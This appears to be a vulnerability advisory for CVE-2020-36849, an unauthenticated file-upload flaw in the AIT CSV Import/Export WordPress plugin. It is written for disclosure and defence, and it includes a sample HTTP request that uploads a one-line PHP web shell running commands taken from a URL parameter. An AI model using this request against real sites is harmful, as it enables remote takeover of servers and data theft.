Overview
CVE-2020-36849 is a critical vulnerability in the AIT CSV Import/Export Plugin for WordPress, specifically affecting versions up to and including 3.0.3. This plugin is widely used in the WordPress ecosystem for managing CSV data import and export. The vulnerability lies in a flaw in the file type validation process that could allow an attacker to upload arbitrary files to the site’s server. The severity of this issue is underlined by the fact that, if successfully exploited, it could lead to potential system compromise and data leakage, thereby posing a serious threat to the confidentiality, integrity, and availability of data.
Vulnerability Summary
CVE ID: CVE-2020-36849
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
AIT CSV Import/Export Plugin for WordPress | Up to and including 3.0.3
How the Exploit Works
The vulnerability stems from the lack of proper file type validation in the ‘/wp-content/plugins/ait-csv-import-export/admin/upload-handler.php’ script. This lack of validation allows an unauthorized attacker to upload arbitrary files, including malicious scripts, to the affected server. These scripts, when executed, could allow the attacker to potentially control the server remotely, leading to system compromise and potential data leakage.
Conceptual Example Code
The below HTTP request is a
conceptual
example of how an attacker could exploit this vulnerability. The attacker crafts a POST request that includes a malicious file in the body.
POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--Once the malicious file is uploaded to the server, the attacker can potentially execute the script, leading to remote code execution.
Mitigation Methods
It is highly recommended to apply the vendor patch as soon as possible. If it’s not immediately available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block suspicious activities and malicious payloads, providing an additional layer of security against the exploitation of this vulnerability.